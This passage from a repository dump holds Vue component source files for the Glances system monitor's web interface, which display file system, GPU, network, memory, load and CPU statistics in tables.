    "content": "<template>\n    <section v-if=\"hasFs\" id=\"fs\" class=\"plugin\">\n        <table class=\"table table-sm table-borderless margin-bottom\">\n            <thead>\n                <tr>\n                    <th scope=\"col\">FILE SYSTEM</th>\n                    <template v-if=\"!args.fs_free_space\">\n                        <th scope=\"col\" class=\"text-end w-25\">Used</th>\n                    </template>\n                    <template v-else>\n                        <th scope=\"col\" class=\"text-end w-25\">Free</th>\n                    </template>\n                    <th scope=\"col\" class=\"text-end w-25\">Total</th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr v-for=\"(fs, fsId) in fileSystems\" :key=\"fsId\">\n                    <td scope=\"row\">\n                        {{ $filters.minSize(fs.alias ? fs.alias : fs.mountPoint, 16, begin = false) }}\n                        <span\nv-if=\"(fs.alias ? fs.alias : fs.mountPoint).length + fs.name.length <= 15\"\n                            class=\"visible-lg-inline\">\n                            ({{ fs.name }})\n                        </span>\n                    </td>\n                    <template v-if=\"!args.fs_free_space\">\n                        <td scope=\"row\" class=\"text-end\" :class=\"getDecoration(fs.mountPoint, 'used')\">\n                            {{ $filters.bytes(fs.used) }}\n                        </td>\n                    </template>\n                    <template v-else>\n                        <td scope=\"row\" class=\"text-end\" :class=\"getDecoration(fs.mountPoint, 'used')\">\n                            {{ $filters.bytes(fs.free) }}\n                        </td>\n                    </template>\n                    <td scope=\"row\" class=\"text-end\">\n                        {{ $filters.bytes(fs.size) }}\n                    </td>\n                </tr>\n            </tbody>\n        </table>\n    </section>\n</template>\n\n<script>\nimport { orderBy } from \"lodash\";\nimport { store } from \"../store.js\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t};\n\t},\n\tcomputed: {\n\t\targs() {\n\t\t\treturn this.store.args || {};\n\t\t},\n\t\tstats() {\n\t\t\treturn this.data.stats[\"fs\"];\n\t\t},\n\t\tview() {\n\t\t\treturn this.data.views[\"fs\"];\n\t\t},\n\t\tfileSystems() {\n\t\t\tconst fileSystems = this.stats.map((fsData) => {\n\t\t\t\treturn {\n\t\t\t\t\tname: fsData[\"device_name\"],\n\t\t\t\t\tmountPoint: fsData[\"mnt_point\"],\n\t\t\t\t\tpercent: fsData[\"percent\"],\n\t\t\t\t\tsize: fsData[\"size\"],\n\t\t\t\t\tused: fsData[\"used\"],\n\t\t\t\t\tfree: fsData[\"free\"],\n\t\t\t\t\talias: fsData[\"alias\"] !== undefined ? fsData[\"alias\"] : null,\n\t\t\t\t};\n\t\t\t});\n\t\t\treturn orderBy(fileSystems, [\"mnt_point\"]);\n\t\t},\n\t\thasFs() {\n\t\t\treturn this.fileSystems.length > 0;\n\t\t},\n\t},\n\tmethods: {\n\t\tgetDecoration(mountPoint, field) {\n\t\t\tif (this.view[mountPoint][field] == undefined) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\treturn this.view[mountPoint][field].decoration.toLowerCase();\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-gpu.vue",
    "content": "<template>\n    <section v-if=\"gpus != undefined\" id=\"gpu\" class=\"plugin\">\n        <!-- single gpu -->\n        <template v-if=\"gpus.length === 1\">\n            <div class=\"table-responsive\">\n                <template v-for=\"(gpu, gpuId) in gpus\" :key=\"gpuId\">\n                    <table class=\"table table-sm table-borderless\">\n                        <tbody>\n                            <tr>\n                                <td colspan=\"2\" class=\"title text-truncate\">{{ name }}</td>\n                            </tr>\n                            <tr>\n                                <td class=\"col\">proc:</td>\n                                <td v-if=\"gpu.proc != null\" class=\"col text-end\"\n                                    :class=\"getDecoration(gpu.gpu_id, 'proc')\"><span>{{ $filters.number(gpu.proc, 0)\n                                        }}%</span></td>\n                                <td v-if=\"gpu.proc == null\" class=\"col text-end\"><span>N/A</span></td>\n                            </tr>\n                            <tr>\n                                <td class=\"col\">mem:</td>\n                                <td v-if=\"gpu.mem != null\" class=\"col text-end\"\n                                    :class=\"getDecoration(gpu.gpu_id, 'mem')\"><span>{{ $filters.number(gpu.mem, 0)\n                                        }}%</span></td>\n                                <td v-if=\"gpu.mem == null\" class=\"col text-end\"><span>N/A</span></td>\n                            </tr>\n                            <tr>\n                                <td class=\"col\">temp:</td>\n                                <td v-if=\"gpu.temperature != null\" class=\"col text-end\"\n                                    :class=\"getDecoration(gpu.gpu_id, 'temperature')\"><span>\n                                        {{ $filters.number(gpu.temperature, 0) }}\n                                    </span></td>\n                                <td v-if=\"gpu.temperature == null\" class=\"col text-end\"><span>N/A</span></td>\n                            </tr>\n                        </tbody>\n                    </table>\n                </template>\n            </div>\n        </template>\n        <!-- multiple gpus - one line per gpu (no mean) -->\n        <template v-if=\"!args.meangpu && gpus.length > 1\">\n            <div class=\"table-responsive\">\n                <table class=\"table table-sm table-borderless\">\n                    <tbody>\n                        <tr>\n                            <td colspan=\"5\" class=\"title text-truncate\">{{ name }}</td>\n                        </tr>\n                        <tr v-for=\"(gpu, gpuId) in gpus\" :key=\"gpuId\">\n                            <td class=\"col\">{{ gpu.name }}:</td>\n                            <td v-if=\"gpu.proc != null\" class=\"col\" :class=\"getDecoration(gpu.gpu_id, 'proc')\"><span>{{\n                                $filters.number(gpu.proc, 0) }}%</span></td>\n                            <td v-if=\"gpu.proc == null\" class=\"col\"><span>N/A</span></td>\n                            <td v-if=\"gpu.mem != null\" class=\"col\">mem:</td>\n                            <td v-if=\"gpu.mem != null\" class=\"col text-end\" :class=\"getDecoration(gpu.gpu_id, 'mem')\">\n                                <span>\n                                    {{ $filters.number(gpu.mem, 0) }}%\n                                </span>\n                            </td>\n                            <!-- <td v-if=\"gpu.mem == null\" class=\"col text-end\"><span>N/A</span></td> -->\n                        </tr>\n                    </tbody>\n                </table>\n            </div>\n        </template>\n        <!-- multiple gpus - mean -->\n        <template v-if=\"args.meangpu && gpus.length > 1\">\n            <div class=\"table-responsive\">\n                <table class=\"table table-sm table-borderless\">\n                    <tbody>\n                        <tr>\n                            <td colspan=\"2\" class=\"title text-truncate\">{{ name }}</td>\n                        </tr>\n                        <tr>\n                            <td class=\"col\">proc mean:</td>\n                            <td v-if=\"mean.proc != null\" class=\"col\" :class=\"getMeanDecoration('proc')\">\n                                <span>{{ $filters.number(mean.proc, 0) }}%</span>\n                            </td>\n                            <td v-if=\"mean.proc == null\" class=\"col\"><span>N/A</span>></td>\n                        </tr>\n                        <tr>\n                            <td class=\"col\">mem mean:</td>\n                            <td v-if=\"mean.mem != null\" class=\"col\" :class=\"getMeanDecoration('mem')\">\n                                <span>{{ $filters.number(mean.mem, 0) }}%</span>\n                            </td>\n                            <td v-if=\"mean.mem == null\" class=\"col\"><span>N/A</span></td>\n                        </tr>\n                        <tr>\n                            <td class=\"col\">temp mean:</td>\n                            <td v-if=\"mean.temperature != null\" class=\"col\" :class=\"getMeanDecoration('temperature')\">\n                                <span>{{ $filters.number(mean.temperature, 0) }}°C</span>\n                            </td>\n                            <td v-if=\"mean.temperature == null\" class=\"col\"><span>N/A</span></td>\n                        </tr>\n                    </tbody>\n                </table>\n            </div>\n        </template>\n    </section>\n</template>\n\n<script>\nimport { store } from \"../store.js\";\n\nexport default {\n    props: {\n        data: {\n            type: Object,\n        },\n    },\n    data() {\n        return {\n            store,\n        };\n    },\n    computed: {\n        args() {\n            return this.store.args || {};\n        },\n        stats() {\n            return this.data.stats[\"gpu\"];\n        },\n        view() {\n            return this.data.views[\"gpu\"];\n        },\n        gpus() {\n            return this.stats;\n        },\n        name() {\n            let name = \"GPU\";\n            const { stats } = this;\n            if (stats.length === 1) {\n                name = stats[0].name;\n            } else if (stats.length) {\n                name = `${stats.length} GPUs`;\n            }\n            return name;\n        },\n        mean() {\n            const mean = {\n                proc: null,\n                mem: null,\n                temperature: null,\n            };\n            const { stats } = this;\n            if (!stats.length) {\n                return mean;\n            }\n            for (const gpu of stats) {\n                mean.proc += gpu.proc;\n                mean.mem += gpu.mem;\n                mean.temperature += gpu.temperature;\n            }\n            mean.proc = mean.proc / stats.length;\n            mean.mem = mean.mem / stats.length;\n            mean.temperature = mean.temperature / stats.length;\n            return mean;\n        },\n    },\n    methods: {\n        getDecoration(gpuId, value) {\n            if (this.view[gpuId][value] === undefined) {\n                return;\n            }\n            return this.view[gpuId][value].decoration.toLowerCase();\n        },\n        getMeanDecoration(value) {\n            return \"DEFAULT\";\n        },\n    },\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-hostname.vue",
    "content": "<template>\n    <section id=\"system\" class=\"plugin\">\n        <span v-if=\"isDisconnected\" class=\"critical\">Disconnected from</span>\n        <span class=\"title\">{{ hostname }}</span>\n    </section>\n</template>\n\n<script>\nimport { store } from \"../store.js\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t};\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"system\"];\n\t\t},\n\t\thostname() {\n\t\t\treturn this.stats[\"hostname\"];\n\t\t},\n\t\tisDisconnected() {\n\t\t\treturn this.store.status === \"FAILURE\";\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-ip.vue",
    "content": "<template>\n    <section v-if=\"address\" id=\"ip\" class=\"plugin\">\n        <span v-if=\"address\" class=\"title\">IP</span>\n        <span v-if=\"address\">{{ address }}/{{ maskCdir }}</span>\n        <span v-if=\"publicAddress\" class=\"title\">Pub</span>\n        <span v-if=\"publicAddress\">{{ publicAddress }}</span>\n        <span v-if=\"publicInfo\" class=\"text-truncate\">{{ publicInfo }}</span>\n    </section>\n</template>\n\n<script>\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tipStats() {\n\t\t\treturn this.data.stats[\"ip\"];\n\t\t},\n\t\taddress() {\n\t\t\treturn this.ipStats.address;\n\t\t},\n\t\tgateway() {\n\t\t\treturn this.ipStats.gateway;\n\t\t},\n\t\tmaskCdir() {\n\t\t\treturn this.ipStats.mask_cidr;\n\t\t},\n\t\tpublicAddress() {\n\t\t\treturn this.ipStats.public_address;\n\t\t},\n\t\tpublicInfo() {\n\t\t\treturn this.ipStats.public_info_human;\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-irq.vue",
    "content": "<template>\n    <section id=\"irq\" class=\"plugin\">\n        <table class=\"table table-sm table-borderless margin-bottom\">\n            <thead>\n                <tr>\n                    <th scope=\"col\">IRQ</th>\n                    <th scope=\"col\" class=\"text-end\">Rate/s</th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr v-for=\"(irq, irqId) in irqs\" :key=\"irqId\">\n                    <td scope=\"row\">{{ irq.irq_line }}</td>\n                    <td scope=\"row\" class=\"text-end\">{{ irq.irq_rate }}</td>\n                </tr>\n            </tbody>\n        </table>\n    </section>\n</template>\n\n<script>\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"irq\"];\n\t\t},\n\t\tirqs() {\n\t\t\treturn this.stats.map((IrqData) => {\n\t\t\t\treturn {\n\t\t\t\t\tirq_line: IrqData[\"irq_line\"],\n\t\t\t\t\tirq_rate: IrqData[\"irq_rate\"],\n\t\t\t\t};\n\t\t\t});\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-load.vue",
    "content": "<template>\n    <section v-if=\"cpucore != undefined\" id=\"load\" class=\"plugin\">\n        <div class=\"table-responsive\">\n            <table class=\"table table-sm table-borderless\">\n                <thead>\n                    <tr>\n                        <th scope=\"col\">LOAD</th>\n                        <td scope=\"col\" class=\"text-end\">{{ cpucore }}-core</td>\n                    </tr>\n                </thead>\n                <tbody>\n                    <tr>\n                        <td scope=\"row\">1 min:</td>\n                        <td class=\"text-end\"><span>{{ $filters.number(min1, 2) }}</span></td>\n                    </tr>\n                    <tr>\n                        <td scope=\"row\">5 min:</td>\n                        <td class=\"text-end\" :class=\"getDecoration('min5')\"><span>{{ $filters.number(min5, 2) }}</span>\n                        </td>\n                    </tr>\n                    <tr>\n                        <td scope=\"row\">15 min:</td>\n                        <td class=\"text-end\" :class=\"getDecoration('min15')\"><span>{{ $filters.number(min15, 2)\n                                }}</span></td>\n                    </tr>\n                </tbody>\n            </table>\n        </div>\n    </section>\n</template>\n\n<script>\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"load\"];\n\t\t},\n\t\tview() {\n\t\t\treturn this.data.views[\"load\"];\n\t\t},\n\t\tcpucore() {\n\t\t\treturn this.stats[\"cpucore\"];\n\t\t},\n\t\tmin1() {\n\t\t\treturn this.stats[\"min1\"];\n\t\t},\n\t\tmin5() {\n\t\t\treturn this.stats[\"min5\"];\n\t\t},\n\t\tmin15() {\n\t\t\treturn this.stats[\"min15\"];\n\t\t},\n\t},\n\tmethods: {\n\t\tgetDecoration(value) {\n\t\t\tif (this.view[value] === undefined) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\treturn this.view[value].decoration.toLowerCase();\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-mem.vue",
    "content": "<template>\n    <section id=\"mem\" class=\"plugin\">\n        <!-- d-none d-xxl-block -->\n        <div class=\"table-responsive\">\n            <table class=\"table-sm table-borderless\">\n                <tbody>\n                    <tr class=\"justify-content-between\">\n                        <td scope=\"col\">\n                            <table class=\"table table-sm table-borderless\">\n                                <tbody>\n                                    <tr>\n                                        <th scope=\"col\">MEM</th>\n                                        <td scope=\"col\" class=\"text-end\" :class=\"getDecoration('percent')\"><span>{{\n                                            percent }}%</span></td>\n                                    </tr>\n                                    <tr>\n                                        <td scope=\"row\">total:</td>\n                                        <td class=\"text-end\"><span>{{ $filters.bytes(total) }}</span></td>\n                                    </tr>\n                                    <tr v-if=\"!available_args\">\n                                        <td scope=\"row\">used:</td>\n                                        <td class=\"text-end\" :class=\"getDecoration('used')\"><span>{{\n                                            $filters.bytes(used, 2) }}</span></td>\n                                    </tr>\n                                    <tr v-if=\"available_args\">\n                                        <td scope=\"row\">avail:</td>\n                                        <td class=\"text-end\" :class=\"getDecoration('available')\"><span>{{\n                                            $filters.bytes(available, 2) }}</span></td>\n                                    </tr>\n                                    <tr>\n                                        <td scope=\"row\">free:</td>\n                                        <td class=\"text-end\" :class=\"getDecoration('free')\"><span>{{\n                                            $filters.bytes(free, 2) }}</span></td>\n                                    </tr>\n                                </tbody>\n                            </table>\n                        </td>\n                        <td>\n                            <template class=\"d-none d-xl-block d-xxl-block\">\n                                <table class=\"table table-sm table-borderless\">\n                                    <tbody>\n                                        <tr>\n                                            <td v-show=\"active != undefined\" scope=\"col\">\n                                                active:\n                                            </td>\n                                            <td v-show=\"active != undefined\" scope=\"col\">\n                                                <span>{{ $filters.bytes(active) }}</span>\n                                            </td>\n                                        </tr>\n                                        <tr>\n                                            <td v-show=\"inactive != undefined\" scope=\"col\">\n                                                inactive:\n                                            </td>\n                                            <td v-show=\"inactive != undefined\" scope=\"col\">\n                                                <span>{{ $filters.bytes(inactive) }}</span>\n                                            </td>\n                                        </tr>\n                                        <tr>\n                                            <td v-show=\"buffers != undefined\" scope=\"col\">\n                                                buffers:\n                                            </td>\n                                            <td v-show=\"buffers != undefined\" scope=\"col\">\n                                                <span>{{ $filters.bytes(buffers) }}</span>\n                                            </td>\n                                        </tr>\n                                        <tr>\n                                            <td v-show=\"cached != undefined\" scope=\"col\">\n                                                cached:\n                                            </td>\n                                            <td v-show=\"cached != undefined\" scope=\"col\">\n                                                <span>{{ $filters.bytes(cached) }}</span>\n                                            </td>\n                                        </tr>\n                                    </tbody>\n                                </table>\n                            </template>\n                        </td>\n                    </tr>\n                </tbody>\n            </table>\n        </div>\n    </section>\n</template>\n\n<script>\nimport { store } from \"../store.js\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t};\n\t},\n\tcomputed: {\n\t\tconfig() {\n\t\t\treturn this.store.config || {};\n\t\t},\n\t\tavailable_args() {\n\t\t\treturn this.config !== undefined &&\n\t\t\t\tthis.config.mem !== undefined &&\n\t\t\t\tthis.config.available !== undefined\n\t\t\t\t? this.config.mem.available || false\n\t\t\t\t: false;\n\t\t},\n\t\tstats() {\n\t\t\treturn this.data.stats[\"mem\"];\n\t\t},\n\t\tview() {\n\t\t\treturn this.data.views[\"mem\"];\n\t\t},\n\t\tpercent() {\n\t\t\treturn this.stats[\"percent\"].toFixed(1);\n\t\t},\n\t\ttotal() {\n\t\t\treturn this.stats[\"total\"];\n\t\t},\n\t\tused() {\n\t\t\treturn this.stats[\"used\"];\n\t\t},\n\t\tavailable() {\n\t\t\treturn this.stats[\"available\"];\n\t\t},\n\t\tfree() {\n\t\t\treturn this.stats[\"free\"];\n\t\t},\n\t\tactive() {\n\t\t\treturn this.stats[\"active\"];\n\t\t},\n\t\tinactive() {\n\t\t\treturn this.stats[\"inactive\"];\n\t\t},\n\t\tbuffers() {\n\t\t\treturn this.stats[\"buffers\"];\n\t\t},\n\t\tcached() {\n\t\t\treturn this.stats[\"cached\"];\n\t\t},\n\t},\n\tmethods: {\n\t\tgetDecoration(value) {\n\t\t\tif (this.view[value] === undefined) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\treturn this.view[value].decoration.toLowerCase();\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-memswap.vue",
    "content": "<template>\n    <section id=\"memswap\" class=\"plugin\">\n        <div class=\"table-responsive\">\n            <table class=\"table table-sm table-borderless\">\n                <thead>\n                    <tr>\n                        <th scope=\"col\">SWAP</th>\n                        <td scope=\"col\" class=\"text-end\" :class=\"getDecoration('percent')\"><span>{{ percent }}%</span>\n                        </td>\n                    </tr>\n                </thead>\n                <tbody>\n                    <tr>\n                        <td scope=\"row\">total:</td>\n                        <td class=\"text-end\"><span>{{ $filters.bytes(total) }}</span></td>\n                    </tr>\n                    <tr>\n                        <td scope=\"row\">used:</td>\n                        <td class=\"text-end\" :class=\"getDecoration('used')\"><span>{{ $filters.bytes(used, 2) }}</span>\n                        </td>\n                    </tr>\n                    <tr>\n                        <td scope=\"row\">free:</td>\n                        <td class=\"text-end\"><span>{{ $filters.bytes(free, 2) }}</span></td>\n                    </tr>\n                </tbody>\n            </table>\n        </div>\n    </section>\n</template>\n\n<script>\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"memswap\"];\n\t\t},\n\t\tview() {\n\t\t\treturn this.data.views[\"memswap\"];\n\t\t},\n\t\tpercent() {\n\t\t\treturn this.stats[\"percent\"];\n\t\t},\n\t\ttotal() {\n\t\t\treturn this.stats[\"total\"];\n\t\t},\n\t\tused() {\n\t\t\treturn this.stats[\"used\"];\n\t\t},\n\t\tfree() {\n\t\t\treturn this.stats[\"free\"];\n\t\t},\n\t},\n\tmethods: {\n\t\tgetDecoration(value) {\n\t\t\tif (this.view[value] === undefined) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\treturn this.view[value].decoration.toLowerCase();\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-network.vue",
    "content": "<template>\n    <section v-if=\"hasNetworks\" id=\"network\" class=\"plugin\">\n        <table class=\"table table-sm table-borderless margin-bottom\">\n            <thead>\n                <tr>\n                    <th scope=\"col\">NETWORK</th>\n                    <th v-show=\"!args.network_cumul && !args.network_sum\" scope=\"col\" class=\"text-end w-25\">Rxps</th>\n                    <th v-show=\"!args.network_cumul && !args.network_sum\" scope=\"col\" class=\"text-end w-25\">Txps</th>\n                    <th v-show=\"!args.network_cumul && args.network_sum\" scope=\"col\" class=\"text-end w-25\"></th>\n                    <th v-show=\"!args.network_cumul && args.network_sum\" scope=\"col\" class=\"text-end w-25\">Rx+Txps</th>\n                    <th v-show=\"args.network_cumul && !args.network_sum\" scope=\"col\" class=\"text-end w-25\">Rx</th>\n                    <th v-show=\"args.network_cumul && !args.network_sum\" scope=\"col\" class=\"text-end w-25\">Tx</th>\n                    <th v-show=\"args.network_cumul && args.network_sum\" scope=\"col\" class=\"text-end w-25\"></th>\n                    <th v-show=\"args.network_cumul && args.network_sum\" scope=\"col\" class=\"text-end w-25\">Rx+Tx</th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr v-for=\"(network, networkId) in networks\" :key=\"networkId\">\n                    <td scope=\"row\" class=\"visible-lg-inline text-truncate\">\n                        {{ $filters.minSize(network.alias ? network.alias : network.ifname, 16) }}\n                    </td>\n                    <td\nv-show=\"!args.network_cumul && !args.network_sum\" class=\"text-end\"\n                        :class=\"getDecoration(network.interfaceName, 'bytes_recv_rate_per_sec')\">\n                        {{ args.byte ? $filters.bytes(network.bytes_recv_rate_per_sec) :\n                            $filters.bits(network.bytes_recv_rate_per_sec) }}\n                    </td>\n                    <td\nv-show=\"!args.network_cumul && !args.network_sum\" class=\"text-end\"\n                        :class=\"getDecoration(network.interfaceName, 'bytes_sent_rate_per_sec')\">\n                        {{ args.byte ? $filters.bytes(network.bytes_sent_rate_per_sec) :\n                            $filters.bits(network.bytes_sent_rate_per_sec) }}\n                    </td>\n                    <td v-show=\"!args.network_cumul && args.network_sum\" class=\"text-end\"></td>\n                    <td v-show=\"!args.network_cumul && args.network_sum\" class=\"text-end\">\n                        {{ args.byte ? $filters.bytes(network.bytes_all_rate_per_sec) :\n                            $filters.bits(network.bytes_all_rate_per_sec) }}\n                    </td>\n                    <td v-show=\"args.network_cumul && !args.network_sum\" class=\"text-end\">\n                        {{ args.byte ? $filters.bytes(network.bytes_recv) : $filters.bits(network.bytes_recv) }}\n                    </td>\n                    <td v-show=\"args.network_cumul && !args.network_sum\" class=\"text-end\">\n                        {{ args.byte ? $filters.bytes(network.bytes_sent) : $filters.bits(network.bytes_sent) }}\n                    </td>\n                    <td v-show=\"args.network_cumul && args.network_sum\" class=\"text-end\"></td>\n                    <td v-show=\"args.network_cumul && args.network_sum\" class=\"text-end\">\n                        {{ args.byte ? $filters.bytes(network.bytes_all) : $filters.bits(network.bytes_all) }}\n                    </td>\n                </tr>\n            </tbody>\n        </table>\n    </section>\n</template>\n\n<script>\nimport { orderBy } from \"lodash\";\nimport { bytes } from \"../filters.js\";\nimport { store } from \"../store.js\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t};\n\t},\n\tcomputed: {\n\t\targs() {\n\t\t\treturn this.store.args || {};\n\t\t},\n\t\tstats() {\n\t\t\treturn this.data.stats[\"network\"];\n\t\t},\n\t\tview() {\n\t\t\treturn this.data.views[\"network\"];\n\t\t},\n\t\tnetworks() {\n\t\t\tconst networks = this.stats\n\t\t\t\t.map((networkData) => {\n\t\t\t\t\tconst alias =\n\t\t\t\t\t\tnetworkData[\"alias\"] !== undefined ? networkData[\"alias\"] : null;\n\n\t\t\t\t\tconst network = {\n\t\t\t\t\t\tinterfaceName: networkData[\"interface_name\"],\n\t\t\t\t\t\tifname: alias ? alias : networkData[\"interface_name\"],\n\t\t\t\t\t\tbytes_recv_rate_per_sec: networkData[\"bytes_recv_rate_per_sec\"],\n\t\t\t\t\t\tbytes_sent_rate_per_sec: networkData[\"bytes_sent_rate_per_sec\"],\n\t\t\t\t\t\tbytes_all_rate_per_sec: networkData[\"bytes_all_rate_per_sec\"],\n\t\t\t\t\t\tbytes_recv: networkData[\"bytes_recv\"],\n\t\t\t\t\t\tbytes_sent: networkData[\"bytes_sent\"],\n\t\t\t\t\t\tbytes_all: networkData[\"bytes_all\"],\n\t\t\t\t\t};\n\n\t\t\t\t\treturn network;\n\t\t\t\t})\n\t\t\t\t.filter((network) => {\n\t\t\t\t\tconst bytesRecvRate =\n\t\t\t\t\t\tthis.view[network.interfaceName][\"bytes_recv_rate_per_sec\"];\n\t\t\t\t\tconst bytesSentRate =\n\t\t\t\t\t\tthis.view[network.interfaceName][\"bytes_sent_rate_per_sec\"];\n\t\t\t\t\treturn (\n\t\t\t\t\t\t(!bytesRecvRate || bytesRecvRate.hidden === false) &&\n\t\t\t\t\t\t(!bytesSentRate || bytesSentRate.hidden === false)\n\t\t\t\t\t);\n\t\t\t\t});\n\t\t\treturn orderBy(networks, [\"interfaceName\"]);\n\t\t},\n\t\thasNetworks() {\n\t\t\treturn this.networks.length > 0;\n\t\t},\n\t},\n\tmethods: {\n\t\tgetDecoration(interfaceName, field) {\n\t\t\tif (this.view[interfaceName][field] == undefined) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\treturn this.view[interfaceName][field].decoration.toLowerCase();\n\t\t},\n\t},\n};\n</script>\n"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-now.vue",
    "content": "<template>\n    <section id=\"now\" class=\"plugin\">\n        <span>{{ date_custom }}</span>\n    </section>\n</template>\n\n<script>\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tdate_custom() {\n\t\t\treturn this.data.stats[\"now\"][\"custom\"];\n\t\t},\n\t},\n};\n</script>\n"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-npu.vue",
    "content": "<template>\n    <section v-if=\"npus != undefined\" id=\"npu\" class=\"plugin\">\n        <!-- single npu -->\n        <template v-if=\"npus.length === 1\">\n            <div class=\"table-responsive\">\n                <template v-for=\"(npu, npuId) in npus\" :key=\"npuId\">\n                    <div class=\"title text-truncate\">{{ npu.name }}</div>\n                    <table class=\"table table-sm table-borderless\">\n                        <tbody>\n                            <tr>\n                                <td v-if=\"npu.load != null\" class=\"col\" :class=\"getDecoration(npu.npu_id, 'load')\">\n                                    <span>{{ $filters.number(npu.load, 0)\n                                    }}%</span>\n                                </td>\n                                <td v-if=\"npu.load == null\" class=\"col\" :class=\"getDecoration(npu.npu_id, 'freq')\">\n                                    <span>{{ $filters.number(npu.freq, 0)\n                                        }}%</span>\n                                </td>\n                                <td class=\"col\">\n                                    <span>{{ $filters.number(npu.freq_current / 1000000000, 1) }}/{{\n                                        $filters.number(npu.freq_max / 1000000000, 1)\n                                    }}GHz</span>\n                                </td>\n                            </tr>\n                            <tr>\n                                <td class=\"col\">mem:</td>\n                                <td v-if=\"npu.mem != null\" class=\"col text-end\"\n                                    :class=\"getDecoration(npu.npu_id, 'mem')\"><span>{{ $filters.number(npu.mem, 0)\n                                        }}%</span></td>\n                                <td v-if=\"npu.mem == null\" class=\"col text-end\"><span>N/A</span></td>\n                            </tr>\n                            <tr>\n                                <td class=\"col\">temp:</td>\n                                <td v-if=\"npu.temperature != null\" class=\"col text-end\"\n                                    :class=\"getDecoration(npu.npu_id, 'temperature')\"><span>\n                                        {{ $filters.number(npu.temperature, 0) }}C\n                                    </span></td>\n                                <td v-if=\"npu.temperature == null\" class=\"col text-end\"><span>N/A</span></td>\n                            </tr>\n                        </tbody>\n                    </table>\n                </template>\n            </div>\n        </template>\n        <!-- multiple npus - not implemented for the moment -->\n    </section>\n</template>\n\n<script>\nimport { store } from \"../store.js\";\n\nexport default {\n    props: {\n        data: {\n            type: Object,\n        },\n    },\n    data() {\n        return {\n            store,\n        };\n    },\n    computed: {\n        args() {\n            return this.store.args || {};\n        },\n        stats() {\n            return this.data.stats[\"npu\"];\n        },\n        view() {\n            return this.data.views[\"npu\"];\n        },\n        npus() {\n            return this.stats;\n        }\n    },\n    methods: {\n        getDecoration(npuId, value) {\n            if (this.view[npuId][value] === undefined) {\n                return;\n            }\n            return this.view[npuId][value].decoration.toLowerCase();\n        },\n        getMeanDecoration(value) {\n            return \"DEFAULT\";\n        },\n    },\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-percpu.vue",
    "content": "<template>\n    <section id=\"percpu\" class=\"plugin\">\n        <!-- d-none d-xl-block d-xxl-block -->\n        <div class=\"table-responsive\">\n            <table class=\"table-sm table-borderless\">\n                <thead>\n                    <tr>\n                        <th v-if=\"args.disable_quicklook\" scope=\"col\">CPU</th>\n                        <td v-if=\"args.disable_quicklook\" scope=\"col\">total</td>\n                        <td scope=\"col\">user</td>\n                        <td scope=\"col\">system</td>\n                        <td scope=\"col\">idle</td>\n                        <td scope=\"col\">iowait</td>\n                        <td scope=\"col\">steel</td>\n                    </tr>\n                </thead>\n                <tbody>\n                    <tr v-for=\"(percpu, percpuId) in percpuStats\" :key=\"percpuId\">\n                        <td v-if=\"args.disable_quicklook\" scope=\"col\">CPU{{ percpu.cpu_number }}</td>\n                        <td v-if=\"args.disable_quicklook\" scope=\"col\">{{ percpu.total }}%</td>\n                        <td scope=\"col\" :class=\"getUserAlert(percpu)\">{{ percpu.user }}%</td>\n                        <td scope=\"col\" :class=\"getSystemAlert(percpu)\">{{ percpu.system }}%</td>\n                        <td v-show=\"percpu.idle != undefined\" scope=\"col\">{{ percpu.idle }}%</td>\n                        <td v-show=\"percpu.iowait != undefined\" scope=\"col\" :class=\"getIOWaitAlert(percpu)\">{{\n                            percpu.iowait }}%</td>\n                        <td v-show=\"percpu.steal != undefined\" scope=\"col\">{{ percpu.steal }}%</td>\n                    </tr>\n                </tbody>\n            </table>\n        </div>\n    </section>\n</template>\n\n<script>\nimport { chunk } from \"lodash\";\nimport { GlancesHelper } from \"../services.js\";\nimport 